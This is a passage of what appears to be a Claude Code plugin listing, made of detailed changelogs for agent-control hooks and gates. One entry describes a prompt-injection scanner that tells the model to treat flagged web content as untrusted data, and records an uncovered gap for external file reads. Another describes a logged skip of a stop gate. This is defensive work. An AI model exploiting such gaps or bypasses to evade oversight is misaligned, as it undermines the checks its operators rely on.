vs other models in the same class (>1.5x the cross-model mean by default), and cross-references outlier-vs-normal effective pass rate — the measurement tool for PDO hypothesis ae64db03. v0.1.19: `Episode` gains measurement-only `route_basis`/`route_confidence`/`route_rationale` (the routing `Decision`'s provenance), `lines_added`/`lines_removed`, and `tokens_input`/`tokens_output`, all `Option<_>` and backward-compatible (older JSONL lines parse with these as `None`); `record` gains matching `--route-basis`/`--route-confidence`/`--route-rationale`/`--lines-added`/`--lines-removed`/`--tokens-input`/`--tokens-output` flags. None of this is consulted by `policy::route`/`decide_bandit` — it exists so routing decisions and task cost can be retrospectively correlated against actual pass/fail outcomes. v0.1.12: `store::append_playbook` now writes body+newline in one `write_all` call (mirroring `append`'s existing single-syscall pattern) instead of `writeln!`'s two syscalls, closing the same O_APPEND interleaving hazard for playbook records; a JSON-serialization failure now propagates as an `io::Result` error instead of silently writing an empty line. New regression test `concurrent_append_playbook_never_interleaves_records`. v0.1.13: every git subprocess in `cmd_sync` (pull/clone/status/add/diff/commit/push) is now bounded by a timeout (30s network ops, 10s local ops) via `wait-timeout`, killing a hung/stalled git process instead of wedging the sync command indefinitely. v0.1.14: `Episode` gains a measurement-only `duration_secs: f64` field (`#[serde(default)]`, backward-compatible with older JSONL lines) and `record` gains a `--duration` flag threading it through; not consulted by `policy::route`/`decide_bandit` — routing/scoring behavior is unchanged.

    Claude Code1 skill
  21. flow0stars

    v0.2.10: v0.2.8 のバッチ幅ハードルールを revert した (同時実行の強制は parallelguard が PreToolUse で行う)。旧文: claim するバッチ幅 N の既定を 4 から 3 に下げ、3 が上限 (1 セッションあたりの同時実行上限) であることをハードルールに明記。並列 or 直列の実判定は従来どおり condukt の schedule が決定論的に行う。あわせて origin/main を統合し、SKILL.md の「実際に流れを止めるのは deterministic gate の側である」の列挙から taintguard (2026-08-24 にユーザー裁定で repo から撤去) を外した版を取り込む — 今は blastguard / donegate / pre-commit・pre-push hook を名指しする (crates/flow/skills/flow/SKILL.md:140。loop・approval clamp・gate 本体の変更なし)。 Unified source→executor driver for Claude Code: a /flow skill that binds the task SOURCES (compass next-move + backlog queue) to the EXECUTOR (condukt, model-routed by fugu-router) in one HOTL loop — gate on compass freshness, pick the highest-priority task, hand it to condukt, verify, mark done, repeat. v0.2.7 RETIRES the SessionStart proposal on the user's instruction: through 0.2.6 a `flow propose` hook injected an L2 propose-then-confirm directive every session the backlog had pending items ("before starting other work, ask with a single AskUserQuestion whether to start /flow"), and autoflow said the same thing twice more — its own SessionStart proposal and a Stop-hook arm that BLOCKED every turn with "/backlog を実行してください". Two plugins were making one request, one of them on every turn, and repetition is not detection: the tenth "there are N items" carries no information the first did not. Whether to drain the queue is the operator's call and typing /flow IS that call, so the hook, the launcher, the binary and the Cargo package are all gone — `propose` was the binary's only subcommand, so nothing was left for it to do. flow is now a SKILLS-ONLY plugin (the shape scout and daily-report already ship). The /flow skill itself is unchanged except for the lines that claimed it would be proposed automatically; it now says explicitly that the agent must NOT propose /flow on its own, because reconstructing the retired directive by hand would undo the retirement. The one test worth keeping moved rather than being deleted with the package: `skill_queue_contract.rs` reads SKILL.md as text and now lives at crates/integration-tests/tests/flow_skill_queue_contract.rs, still pinning that the loop does not take the exclusive project lock and that the pick reserves a task instead of only reading it. Subscription-native (skill only, no binary, no API key).

    Claude Code1 skill
  22. v0.1.2: DISCLOSES A PROTECTION GAP — doc-only, no logic change, and the gap is NOT closed by this version. Through 0.1.1 this crate was explicitly one half of a pair: it scans WHAT web-tool output says, and `taintguard` tracked WHERE content came from, downgrading write-class tools for the rest of a turn that had read something external. taintguard was removed from the repository on 2026-08-24 by user ruling. Its half is gone and was not reassigned, so: external-file `Read` (a path outside the project) now produces NO provenance signal and NO content scan, and nothing restricts the turn afterwards; and this crate's own enforcement is only an `additionalContext` warning — it downgrades and denies nothing. The prose that said the Read surface was "deferred to taintguard's provenance gate" (`gate.rs`'s fail-closed contract and `WEB_TOOLS`'s docstring) said the surface was covered elsewhere, which is now false; both, plus README.ja.md and the `scan`/`main` module docs, now state the surface is covered by nothing. Recorded as an open gap so it is visible rather than silently inherited. Runtime content-level injection scanner: a PostToolUse hook (matcher WebFetch|WebSearch) that scans the tool_response text for planted prompt-injection phrasings (concealment / verification-bypass / instruction-override / egress) and, on a hit or an undecidable response, injects additionalContext telling the model the flagged span is untrusted DATA whose embedded directives must NOT be followed.

    Claude Code
  23. evalkit0stars

    Offline golden-regression eval harness for Claude Code plugins: read golden *.jsonl cases (file-content or CLI-output assertions) and exit non-zero when a prompt edit or CLI contract regresses. The offline sibling of condukt's online verifier — runnable as a CI gate with no API key. Subscription-native (one bundled Rust binary).

    Claude Code
  24. donegate0stars

    v0.1.30 integrates this line with the remote's: the session-scoped skip now carries a third state. Session-scoping fixed WHOSE token is consumed; it did not fix WHEN. A Stop is adjudicated by four independent gate processes, so a token honoured by one that allows was burned even when another blocked the same stop — the stop never happened and the one-shot escape had been spent on nothing, which is standing pressure toward a permanent bypass (CLAUDE.md 5). `consume_session_skip` now takes `stop_hook_active` and parks an honoured token as `<id>.skip.honoured`: it is re-honoured while a re-entry after a block is in flight, and deleted the first time a chain actually ends. A rename failure that can neither bound nor clear the token is resolved to NOT honouring it. v0.1.28: the shared project-root `.donegate-skip` marker is gone. The operator escape is now `donegate skip --reason "..."`, which is scoped to the issuing session (CLAUDE.md 5 forbids a shared one-shot file under parallel sessions, since whichever session stops next consumes it), requires a non-empty reason, and appends both the issue and the consumption to the gate log so a bypass cannot happen unrecorded. v0.1.21: re-blesses the verdict compile-fail trybuild golden stderr again — CI's `dtolnay/rust-toolchain@stable` installs rustc without the `rust-src` component, which omits the multi-line snippet in `note: the method ... exists on the type ...` diagnostics; a local toolchain with `rust-src` installed renders the longer form and silently re-diverges the golden. Reproduced by installing a `--profile minimal` (no rust-src) toolchain matching CI exactly. No contract change. v0.1.20: re-blesses the verdict compile-fail trybuild golden stderr (rustc note-formatting drift only, no contract change). Completion-verification gate for Claude Code: on Stop, run your acceptance commands as subprocesses and block the stop until every required check is green, feeding failures back for an auto-fix loop. Subscription-native (one hook + bundled Rust binary, no API key).

    Claude Code
  25. difflog0stars

    Session diff-log for Claude Code: snapshot HEAD at SessionStart, write a structured git diff summary (commits, stat, files changed, bounded diff body) at SessionEnd. A /difflog skill can generate a human-readable narrative from the log. Subscription-native (no API key).

    Claude Code
  26. deepwiki0stars

    v0.1.5: cargo fmt --all reformatting only (fixes the 'build & commit plugin binaries' smoke workflow's `cargo fmt --all --check` gate, chronically red on main since 2026-07-21 per scripts/check-ci-red.py); no behavior change. Repository architecture wiki for Claude Code: a /deepwiki command that maps the repo with a bundled Rust scanner, has a subagent write & refresh hierarchical wiki pages (.deepwiki/*.md) with source links, and tracks freshness against git. Inspired by Devin Wiki. Subscription-native (binary + subagent + command, no API key).

    Claude Code
  27. daily0stars

    Daily-once task runner for Claude Code: a SessionStart hook that runs registered shell tasks ([[task]] in ~/.daily/config.toml) at most once per calendar day and injects a summary of what ran. Skips while a /flow or /backlog driver is working (backlog lock), records each run to a JSONL report, and a failed task still counts as run (no retry until tomorrow). With no tasks registered it runs a default security audit (cargo deny check). Register/inspect with `daily add` / `daily list` / `daily report`; set enabled=false to disable. Subscription-native (one hook + bundled Rust binary, no API key).

    Claude Code
  28. Generates a scannable daily work report (日報) by aggregating the day's git commits and the Obsidian session records that session-insights writes to the vault, then synthesizing them into a single narrative note written back to <vault>/daily/<date>.md. Read-mostly SOURCE-of-truth digest: git supplies what changed in this repo, the Obsidian records supply cross-project summaries/learnings/remaining tasks and cost/token numbers. Subscription-native (skill only, no binary, no API key).

    Claude Code1 skill
  29. curate0stars

    Promote fugu-router playbooks into versioned golden eval datasets for evalkit: turn the append-only routing log into a curated, deduplicated holdout set. Mechanical acceptance criteria (`cargo test`, a backticked command) become runnable golden cases; the rest become drafts for a human to fill. The supply side of the offline eval loop. Subscription-native (one bundled Rust binary, no API key).

    Claude Code
  30. ctxrot0stars

    v0.5.27: ctxrot now follows the SHARED autonomy switch (harness_core::autonomy, written by `condukt state autonomy-set`) instead of ignoring it. `Config::load` applies the switch as a DEFAULT LAYER below both the config file and the env: with the switch on and nothing configured, `auto_distill_on_band` and `auto_compact_enabled` both read true, but an explicit config.toml value or `CTXROT_AUTO_COMPACT` / `CTXROT_AUTO_DISTILL_ON_BAND` always wins -- one switch must never override an explicit human decision. New `ctxrot autonomy` prints `{"autonomous":b,"auto_distill_on_band":b,"auto_compact_enabled":b,"source":s}` and exits 0 (a report, not a gate). A switch file that exists but cannot be read is fail-closed: `autonomous:false`, `source:"undetermined-switch-file"` and a stderr warning naming it -- never a silent off. v0.5.22: new `ctxrot handoff-record` (PostToolUse:Read) / `ctxrot handoff` (PreToolUse:Task) hooks address one measured pattern from real session transcripts — a parent session Reads a large file, then dispatches a Task/subagent whose prompt concerns that same file, and the subagent pays for a redundant fresh Read of content the parent already has. handoff-record caches a Read's content (session_id + resolved absolute path + content, capped per-entry, bounded ring buffer on disk) once it clears a size floor; handoff matches a dispatching Task's prompt against that session's cached paths (substring match only — never a bare filename, and never across sessions, since there is no sibling-to-sibling correlation id in the hook payload) and splices the cached content into the prompt via `hookSpecificOutput.updatedInput`, so the subagent's first Read becomes unnecessary. This does NOT reduce total resident tokens system-wide — the content still occupies the subagent's context exactly once either way — it only avoids the wasted round trip and a subagent walking into preguard's size gate with no recourse; docs are explicit that this is not a token-count win. True concurrent sibling-subagent deduplication was investigated and found structurally infeasible via Claude Code's current hook API (confirmed: no parent_tool_use_id/batch-correlation field exists in PreToolUse/PostToolUse payloads) and was deliberately NOT attempted. bin/ctxrot (the POSIX launcher)'s missing-binary fallback gained the two new subcommands to its non-verdict exit-0 branch (they were previously absent and would have fallen through to the CLI-command `exit 1` default, which would have broken PreToolUse:Task on a host with no bundled binary); tests/launcher_missing_binary.rs's observability-hooks test now covers both. v0.5.21: `bin/ctxrot` (the POSIX launcher) no longer maps a MISSING per-platform binary to a blanket silent `exit 0`. A missing build means the check did not run, and exit-0-with-no-output is byte-identical to a clean run, so every verdict-bearing subcommand silently read as "nothing to flag": preguard granted the load gate, toolguard let an unmeasured payload through, stop ended the turn as if the budget check had passed, and statusline rendered the blank bar that reads as headroom (the 3b1eb24 fail-open). Each now resolves the cannot-determine on the restrictive side of its OWN protocol — preguard emits permissionDecision `ask` (a refusal to guess, not a deny that would be unescapable), toolguard emits an additionalContext "UNMEASURED" marker, stop emits `{"decision":"block"}` bounded by `stop_hook_active` exactly like harness_core::gate::run's panic barrier (empty stdin = manual run exits 1 with no fabricated decision), and statusline prints the explicit `unknown` band. The CLI/skill-consumed subcommands (note/metrics/ctx/usage/eval/…), whose empty stdout would be read as real data ("no notes", "nothing dropped"), now exit 1 like bin/evalkit. Only the pure-observability hooks (guard/rescue/restore/distill-bg — injected prose with no machine consumer) keep exit 0, and they still report on stderr; README.ja.md gains the classification table enumerating each one's downstream consumers, and src/main.rs's stale "on any error we exit 0 and stay silent" module docstring was corrected to match the code. New tests/launcher_missing_binary.rs pins all of it (plus that a PRESENT binary is still exec'd with args passed through). v0.5.16: cargo fmt --all reformatting only (fixes the 'build & commit plugin binaries' smoke workflow's `cargo fmt --all --check` gate, chronically red on main since 2026-07-21 per scripts/check-ci-red.py); no behavior change. Context-rot guard for Claude Code: detect, rescue, restore, distill, and CONTROL what loads into context (rule-based allow/deny gate + /ctx pin/drop/load + switchable carryover). Subscription-native (hooks + subagent + skill, no API key). v0.5.14: Stop hook now runs under harness-core's run_guarded panic barrier (fail-closed block on crash instead of silent allow).

    Claude Code2 skills
  31. A thin control layer around Claude Code's built-in compaction: pin + lossless-recall + retrieval + tool-hygiene, wired as a single hook-dispatch binary. Separates the three axes it touches — size (window occupancy), cost (recompute/cache), correctness (norm preservation) — and never writes its own lossy summarizer (compression is delegated to built-in compaction). Subscription-native (hooks + binary, no API key).

    Claude Code
  32. condukt0stars

    v0.7.165 (integrated; branch-local label was v0.7.161): autonomy becomes ONE switch that condukt, ctxrot and autoflow all read DIRECTLY (harness_core::autonomy) instead of three per-crate signals that could not agree. `state autonomy-set on|off` writes a durable `<$HARNESS_AUTONOMY_DIR or ~/.harness/autonomy>/<project-key>.json` atomically, keyed by the repo's MAIN worktree root (projkey::main_worktree_root) so a switch set in the main tree is visible from every linked worktree -- a switch a worker under CLAUDE.md section 8 cannot see is not a switch. `Config::load` layers that file BETWEEN config.toml and the env, so `CONDUKT_AUTONOMOUS=0` still beats a switch left on. Fail-closed and NOT silent (sections 1/3): an ABSENT file is a determinate 'never set' (off, source `default`, stderr silent), while a file that EXISTS but cannot be read/parsed is Undetermined -- off, source `undetermined-switch-file`, and a stderr warning naming the path, so broken and never-set are never byte-identical. Plain `state autonomy-check` stdout is untouched (`{"autonomous":<bool>}`, exit 0/1; the frozen oracle autonomy_invariant.rs stays 16/16 green and byte-unmodified); the deciding layer is reported only by the new `--explain` flag and by `state autonomy-path`. v0.7.151 integrates this line with the remote's. From this line: `enforce_edit_gate` no longer resolves a malformed verdict to `Allow` — the `required` / `fallback` / `broken` fields are read three-valued and any one of them being unreadable is 判定不能, which resolves to `Reject` (CLAUDE.md 3); and `worktree reconcile`'s DEATH rule third clause moved off the cwd-dependent transcript slug onto the session registry. v0.7.144 integrates this machine's line. `worktree::remove` no longer force-discards uncommitted work: both `Known(true)` and `Undetermined` now bail and leave the directory on disk, and the test that had pinned the permissive behaviour as correct (`worktree_remove_force_removes_dirty_worktree`, asserting verbatim that a "dirty worktree should be force-removed") was replaced rather than kept green. A disinterested agent observed the RED first and a third agent's mutation killed 3/3. v0.7.143: v0.7.141 のスケジューラ側並列上限 (schedule のバッチ幅分割 / Config::load の clamp / consensus / adversarial) を revert し、強制を parallelguard (PreToolUse で in-flight を数えて deny) へ移した。あわせて origin/main を統合し、3rd taintguard trigger を撤去した v0.7.140 を取り込む — `condukt lessons record-retrieval` は `taintguard::state::mark` を呼ばず、`taintguard` path 依存も無い (crates/condukt/src/main.rs:2174 に理由のコメントだけが残る)。これは封じ込めの REMOVAL であって移設ではない: cross-project lesson injection は untrusted provenance として追跡されず、その後に write 系ツールを downgrade する gate も無い。`tests/lessons_taint_trigger.rs` は固定していた挙動ごと削除済み。 v0.7.141: 1 セッションの同時実行を 3 に上限化。max_parallel は doc 上「advisory」で実際には誰も強制しておらず、schedule はバッチ幅を切らないまま 5 タスクを 1 バッチ 5 並列にしていた。schedule_capped がバッチを cap で分割し (切るだけでタスクは落とさない partition)、Config::load が harness_core::parallel::cap_fanout で clamp するので config.toml も CONDUKT_MAX_PARALLEL も下げられるが上げられない。consensus samples と adversarial panel の上限 5 も同じ cap に従う (floor 2 は維持 = 1 サンプルの合議は測っていない同意を報告する fail-open なので cap より優先)。 v0.7.117: wires the 3rd taintguard trigger — "this turn consumed cross-project lessons" — into `condukt lessons record-retrieval`. On the same non-empty-hit condition the existing retrieval-ledger `hit` flag already uses, the handler now calls `taintguard::state::mark(&cwd, &run, "lessons")` (new `taintguard` path dependency, mirroring the existing `blastguard`/`overwatch` deps; taintguard itself is unchanged), tainting the session so taintguard's PreToolUse `gate` downgrades write-class tools for the rest of the turn — mirroring the existing web/external-read triggers. A zero-hit search stays a no-op (preserves the empty `lessons_context: []` contract); a failed `mark` is `eprintln!`'d and does not fail the command. New `tests/lessons_taint_trigger.rs` confirms RED (no taint) with the mark call disabled and GREEN once wired, plus an anti-vacuity zero-hit case and a regression on the unchanged retrieval-ledger/lessons_context shape. v0.7.113: PROGRESS-not-liveness gate on the cross-session claim reap (mirrors backlog's lock-reap fix) — `claim::reap` no longer evicts a heartbeat-stale claim on heartbeat-age alone (the fail-open that force-steals a live-but-quiet run: fresh commits / growing transcript / advancing tasks, heartbeat merely lapsed). A stale claim is now reaped ONLY when its owning run's PROGRESS is confirmed `Known(Stalled)` by the reusable `harness_core::progress` engine — git HEAD + the owning session's transcript + the run's max task `updated_at` frozen across the multi-sample window (default 90s, `HARNESS_PROGRESS_WINDOW_SECS`). Progressing OR Undetermined (unreadable signal / no prior sample / window not elapsed) NEVER reap (fail-closed). The run-progress signal is deliberately max(task.updated_at), NOT the run-state file mtime (heartbeats rewrite that file = liveness, not progress). All five reap call sites (claim_files/claim_tasks/heartbeat/active_claims/write_execution_state) thread the same progress probe. New `condukt state probe --run RID [--json]` reports, per RUNNING task, the durable signals, `last_progress_age_secs`, and the three-valued verdict — the observability twin sampling the same engine. Tests: the two stale-reap unit tests now encode the tighter contract (reap requires a forced `Known(Stalled)` via a `#[cfg(test)]` thread-local seam, compiled out of production); new protective tests pin the fail-closed half (Progressing / Undetermined ⇒ NOT reaped) observed RED against the old ungated reap; docstrings updated in the same commit. v0.7.109: closed an F→P oracle fail-open (backlog 22b69f6a) — `oracle::check_oracle`'s top-of-function exemption used to fire on `!requires_oracle || reproduction_tests.is_none()`, so a fix/feature task (`requires_oracle:true`) that simply did not DECLARE `reproduction_tests` was exempted from the Fail→Pass gate even when real tdd RED→GREEN proofs existed for it. Narrowed the guard to `!requires_oracle` alone: a fix/feature task is now ALWAYS consulted against `tdd` regardless of whether it declared `reproduction_tests` (missing declarations degrade to the tdd `unknown`/spawn-Err paths, never a free pass). The `reproduction_tests` param is retained for call-site signature stability (renamed `_reproduction_tests`) but is no longer a gate switch; the doc comment and the exempt `reason` string (`"not a fix/feature task"`, no longer `"or no reproduction_tests"`) were updated in the same commit to match. The tdd-spawn and spawn-Err (`"a missing checker is not a passing checker"`) branches are unchanged. v0.7.108: added a must-ask-human / untestable clamp to the graded-autonomy policy (backlog 903a0d28) — new `policy::decide_untestable(risk, reversibility, confidence)` mirrors `decide_conflict_resolution`: it calls `decide` and clamps an `Auto` verdict up to `Escalate`, passing `Escalate`/`Block` through unchanged (pure, total, no opt-in path back to Auto), so CLAUDE.md §2's "if a thing cannot be meaningfully tested, ask the human" gate can never be auto-self-answered. Wired a `--untestable` bool flag into both `policy decide` and `policy answer` (mirrors `--conflict`); when set, the verdict is computed by `decide_untestable`, so an otherwise-`auto` untestable decision falls through to a real AskUserQuestion (exit 2, `{"answered":false,"policy":"escalate"}`, never journaled). `--untestable` takes precedence over `--conflict` (both clamp Auto→Escalate identically). Everything downstream (exit codes, escalate/auto JSON, journal) is unchanged. v0.7.107: the GHA removal landed across two commits (the second re-touched condukt src, so the bump-on-change gate required a second micro bump); functionally identical to v0.7.106. v0.7.106: removed the GitHub-Actions-CI-status-consuming code (GHA is banned repo-wide, CLAUDE.md; its workflow files are already gone) — deleted `src/ci.rs` entirely (the `gh pr checks`/`gh run list --json` output parser plus `CiConclusion`/`CiVerdict` state machine that existed solely to consume GHA CI conclusions) and removed the `condukt pr poll` subcommand from `main.rs` (its `PrAction::Poll` variant, handler, and the merge-only-when-CI-green flow), since that subcommand's entire purpose was gated on GHA CI state. Kept `src/pr.rs` and `condukt pr create` (`gh pr create` with no CI-conclusion gating — general PR creation, independent of GHA). Also gutted `scripts/test_prepush_hook.py`'s now-stale chronic-red-CI test suite (the check it tested was already removed from `.githooks/pre-push`) and replaced it with coverage for the hook's surviving checks (gate-bypass block, rollout advisory). v0.7.104: `record_runs` now emits a SECOND fugu-router episode with `role=verifier` alongside the existing worker episode, whenever a task carried `state set --verifier-model` (reusing the same title/files/class/done_criteria/status; resolving cost/tokens via `--verifier-agent-id` through the same `resolve_agent_cost`/`resolve_agent_tokens` exact-match path the worker episode already used). Builds on the just-merged verifier_model/verifier_cost_usd/verifier_agent_id fields on TaskState/RecordSpec/`state set` (v0.7.103) toward hypothesis f5f9522a. `fugu-router record --role` and `Episode.role` already existed and needed no change. New e2e test `record_run_emits_worker_and_verifier_episodes_when_verifier_model_set` asserts exactly 2 episodes (worker+verifier) for a task with a verifier model and exactly 1 (worker only) for a task without one. v0.7.101: `.githooks/pre-merge-commit` resolved its own dir with `$(dirname "$0")`; a git hook's PATH is whatever invoked git, and on macos-14 CI that dir carries no coreutils, so `dirname` was not found, the substitution collapsed to empty, and the hook exec'd "/pre-commit" (nonexistent) — dying 126 and BLOCKING the very §8 integration merges it must permit (observed: build-binaries smoke macos-14 FAIL on `a_clean_no_ff_merge_completes_in_the_primary_tree_with_a_peer_live`; ubuntu-latest + local passed only because their git dir happens to also carry coreutils). Replaced with POSIX parameter expansion (`${0%/*}` behind a `*/*` case guard), a shell builtin needing nothing on PATH. New host-independent regression `the_merge_hook_reaches_pre_commit_with_no_coreutils_on_path` runs the real hook under a PATH of one empty dir (no coreutils on ANY host) — observed RED on the old hook, GREEN on the new, closing the host-dependent-oracle gap that let a macos-only break pass ubuntu+local CI. v0.7.100: fixed a PATH-env test race (backlog b0db2bff) — `oracle.rs` had its own module-local `ORACLE_PATH_ENV_LOCK` serializing only its own PATH-mutating tests; `main.rs`'s `flag_supplied_but_probe_unusable_falls_back` mutated PATH without taking any lock, and tests that spawn real `git` (e.g. `repo_commit::tests::first_unstaged_modification_is_not_misread_as_staged`, via `worktree::git`) took no lock at all, so a concurrent PATH mutation could transiently break their git spawn. Reproduced empirically: 3/15 full-suite runs under 16 test threads flaked before the fix (2 distinct real failures). New shared `env_lock::PATH_ENV_LOCK` (`RwLock<()>`, not a `Mutex`) — PATH mutators (oracle.rs, main.rs) take the write side; `worktree::run_git_bounded_with` (the single git-spawn choke point used by every git-shelling test in the crate) takes the read side, so concurrent git spawns don't serialize against each other but always exclude a mutation window. 20/20 repeats of the same repro loop green after the fix; full `cargo test -p condukt` suite green x3; fmt/clippy clean. v0.7.99: fixed `state::all_runs`/`active_worktree_for_path` misparsing non-RunState sidecars in the per-project state dir as corrupt run states (backlog 1af91627). Only `<run_id>.decomposition.json` was excluded; `<run_id>.checkpoints.json` (checkpoint history) and the bare `claims.json` (cross-run claim registry) were fed to `serde_json::from_str::<RunState>` and logged as "unparseable run state" — reproduced live via `condukt state record-run --all` (8 `.checkpoints.json` + 1 `claims.json` = 9 spurious warnings). Grepped the file for every other bare-filename sidecar sharing the same directory (`precedents.json`, `escalations.json`, `execution-state.json`) and excluded those too via a new shared `is_run_state_sidecar()` helper used by both functions, rather than patching just the 2 observed symptoms. New regression test `all_runs_skips_all_known_sidecars_without_warning` fixtures one valid RunState plus all 6 known sidecar shapes and asserts `all_runs` returns exactly the one valid run. v0.7.98: internal-only refactor — `verify::checks_verdict`'s computation now routes through `harness_core::verdict::{Determination, Verdict}` (an empty results slice becomes `Determination::Undetermined`, a non-empty slice becomes `Determination::Known` with per-index failure reasons, adjudicated via `Verdict::adjudicate`), then translates back to `ChecksVerdict` at the return boundary. `ChecksVerdict`/`CheckReport`'s public shape and `Serialize`/`Deserialize` derives are unchanged (a `Verdict` can never derive `Deserialize` — see harness-core's `Evidence` witness — so `ChecksVerdict` stays its own serializable shadow type). All pre-existing checks-verdict tests pass unmodified. Skipped the optional per-check-failure-reason threading (naming which check failed): `checks_verdict` is directly tested with bare `&[bool]` literals, so giving it access to `check.cmd` would mean either breaking that tested signature or duplicating logic between it and `run_checks` — both out of scope for an internal-only refactor. v0.7.96: `adversarial.rs`'s local `GATE_CRATES` const is now `pub use harness_core::fleet::GATE_CRATES;`, removing a duplicate hand-written copy that had independently drifted (lost `overwatch`) in the past; type changes from `[&str; 6]` to `&[&str]` but the sole call site (`.iter().any(...)`) is unaffected. v0.7.95: fixed a real fail-closed-refusal bug in `repo commit` found live while committing an unrelated blastguard fix — `worktree::git`'s shared output formatter used to `.trim()` the WHOLE stdout blob of every git invocation, not just its trailing newline. `git status --porcelain`'s first line for an unstaged modification is ` M path` (a leading space that is the semantically meaningful 'not staged' status column, not incidental whitespace); because that space sat at byte 0 of the whole blob, the blanket `.trim()` ate it, corrupting only the FIRST line. `repo_commit::staged_paths` then read the corrupted line's first byte as the file-status char (neither `' '` nor `'?'`) and wrongly reported an ordinary unstaged edit as already-staged foreign content, and its `path[3..]` slice (meant to skip the 2-char status + 1 space) then cut one byte too many off the path itself (observed live as `.claude-plugin/marketplace.json` reported as `claude-plugin/marketplace.json`, missing its leading dot). This made `condukt repo commit` refuse to commit ANY task whose first `git status --porcelain` entry happened to be a plain unstaged modification — a correct implementation blocking legitimate commits, not a fail-open. Fixed by changing the shared formatter to `.trim_end()` (strips only the trailing newline git always appends; every other git-output consumer in this crate already re-trims per-line or never depended on leading whitespace). New regression test `repo_commit::tests::first_unstaged_modification_is_not_misread_as_staged` reproduces the exact incident shape (a real temp repo, a dotfile path, an unstaged edit as the first entry), confirmed RED before the fix and GREEN after; full `cargo test -p condukt` suite (721 tests) still green. v0.7.87: cargo fmt --all reformatting only (fixes the 'build & commit plugin binaries' smoke workflow's `cargo fmt --all --check` gate, chronically red on main since 2026-07-21 per scripts/check-ci-red.py); no behavior change. v0.7.75: fix the runtime-conflict cleanup gap (design 625aa170 finding #1) — a task's branch landing now marks its `ActualChangeset` merged via a new `worktree::finalize_landed_branch` (calling overwatch's branch-keyed `store::mark_branch_merged`, the only key the merge path has) wired into BOTH `merge()`'s clean-merge path AND `resolve_merge()`'s reconciled outcomes, so a cleanly-landed task no longer leaves `merged=false` within the lease TTL and spuriously HOLDS the next sequential task that touches a common file; the same cleanup clears any stale `RuntimeOverlap` hold recorded against the landed branch name (defensive against a reused `condukt/<id>` branch) and opportunistically prunes the cross-run changeset registry so it stays bounded. Also fixes the broken `run_pr` Poll remediation hint (`condukt worktree resolve-merge --branch <b>` → the correct `--id <id>` form that `ResolveMerge` actually accepts). New regression tests pin the pre-merge hold gate (an open RuntimeOverlap HOLDs the merge) and the landed-peer cleanup (a merged peer is excluded from detection, so no spurious hold). v0.7.71: `schedule()` now warns (does not reject) when a task's `touched_files` entry looks like an absolute path (`/`-rooted or a Windows drive letter) or contains a `..` traversal component — such entries silently defeat the string-based conflict-detection heuristics documented as `normalize_entry`'s deliberate repo-relative-only scope, so two tasks that actually touch the same file via a non-conventional path could previously be scheduled in parallel with no warning at all. Warn (not reject) was chosen because `schedule()` is the decomposition-wide deterministic gate and a hard error there would stop the whole run over what is usually a false-positive-prone heuristic, not a certain conflict. Also adds a real end-to-end capstone test (`schedule_conflict_capstone_e2e.rs`) driving `schedule()` itself with a genuinely-overlapping pair, a pair that only collides after `normalize_entry`'s `./`/`//` normalization (v0.7.69's fix), and a genuinely-independent pair — asserting the first two are forced serial and the third is left parallel, plus a simulated concurrent-write check that no pair loses data. Also adds `fugu_router_record_e2e.rs`, confirming the v0.7.66 `suggested_model`/`route_basis`/`tokens_input`/`tokens_output` wiring (already implemented in code) actually lands those fields in a real `episodes.jsonl` end-to-end — the 0/537-tokens gap seen in production data traced to the live deployed condukt binary lagging behind source, not a code defect. v0.7.70: `schedule::entries_conflict` now normalizes each touched-file entry (strip a leading `./`, collapse repeated `/`) before comparing, closing a false-negative gap where two different spellings of the identical path (e.g. `./src/a.rs` vs `src/a.rs`, or `src//a.rs` vs `src/a.rs`) went undetected as a conflict and could schedule two workers onto the same file in parallel. Audited for false positives too: confirmed (and pinned with a regression test) that disjoint globs sharing only a parent directory (`src/foo/*.rs` vs `src/bar/*.rs`) do NOT over-serialize, and that the literal-prefix-nesting heuristic's known conservative-but-safe over-approximation (e.g. `src/*.rs` vs `src/sub/*.rs`) is unchanged and intentional per this module's own "conservative: false conflict only serializes work (safe)" principle. v0.7.68: `orphans()` (worktree.rs) no longer misreports another repo's live worktree as condukt debris when `worktree_base` is shared across multiple, unrelated git repositories on the same machine — a candidate directory is now only flagged as an orphan if its `.git` (file pointer for a linked worktree, or dir for a plain clone) actually resolves under `repo`'s own `.git` common dir AND isn't in `repo`'s registered worktree list; a directory owned by a different repo is silently skipped, while a directory with no `.git` at all is still conservatively treated as orphan (unchanged). New regression tests `orphans_ignores_other_repos_worktree` and `orphans_detects_stale_worktree_of_own_repo` cover the new behavior and the real-world stale-worktree case this fix must not regress. v0.7.67: `record_runs` now checks the actual exit status of the `fugu-router record` subprocess instead of only catching a spawn `Err`, so a non-zero exit (e.g. a stale PATH-shadowed `fugu-router` binary rejecting a flag) is no longer silently counted as a successful record; also resolves `fugu-router`'s binary path via `~/.claude/plugins/installed_plugins.json`'s plugin-cache `installPath` first, falling back to the bare command name only if resolution fails, so a stale `~/.cargo/bin/fugu-router` can no longer shadow the correct plugin-installed version. v0.7.66: `TaskState`/`state set` gain measurement-only `route_basis`/`route_confidence`/`route_rationale` (the routing `Decision`'s provenance from `route.json`) and `lines_added`/`lines_removed` (measured `git diff --stat` insertions/deletions), plus a new `state::resolve_agent_tokens` (mirrors `resolve_agent_cost`, exact agent-id match against `gauge subagents --json`'s new `tokens_input`/`tokens_output`); `record_runs` threads all of these through to `fugu-router record`'s matching new flags so routing decisions and task cost/size can be retrospectively correlated against actual pass/fail outcomes. None of it is consulted by condukt's own scheduling/routing — purely additive, backward-compatible (`#[serde(default, skip_serializing_if)]`). v0.7.63: opt-in **shadow-run** mode — a new `shadow-run enable|disable|status` flag (default: disabled) plus `exec`/`finish` subcommands run the SAME task under a second model in an independent worktree (reusing the existing `worktree create`/`discard` machinery) purely to produce a clean pass/fail/cost/duration comparison point for `fugu-router record --class shadow-run`; the shadow worktree is ALWAYS discarded (force-remove + force-delete branch), never merged. Manual-trigger only by design — no API/hook input exposes remaining rate-limit-window time, so automatic firing is not implemented; pairs with gauge's new `config set-window`/`config show` for a human-registered window approximation. v0.7.62: task-duration measurement — `TaskState` gains `started_at` (set when a task transitions to `running`); `records_for_run` computes `duration_secs` from `(started_at, updated_at)` and `record_runs()` passes it to `fugu-router record --duration`, populating the new measurement-only `Episode.duration_secs` field (routing/scoring logic in fugu-router's `policy.rs` is unchanged). v0.7.61: `verify::mechanical_cmd` now tokenizes command strings (both the interpreter-declared `mechanical_check` hint and the backtick-extracted done_criteria command) via a new quote/escape-aware `parse_argv` (shlex-backed) instead of `split_whitespace`, so a quoted argument containing spaces (e.g. a path) survives as one argv token 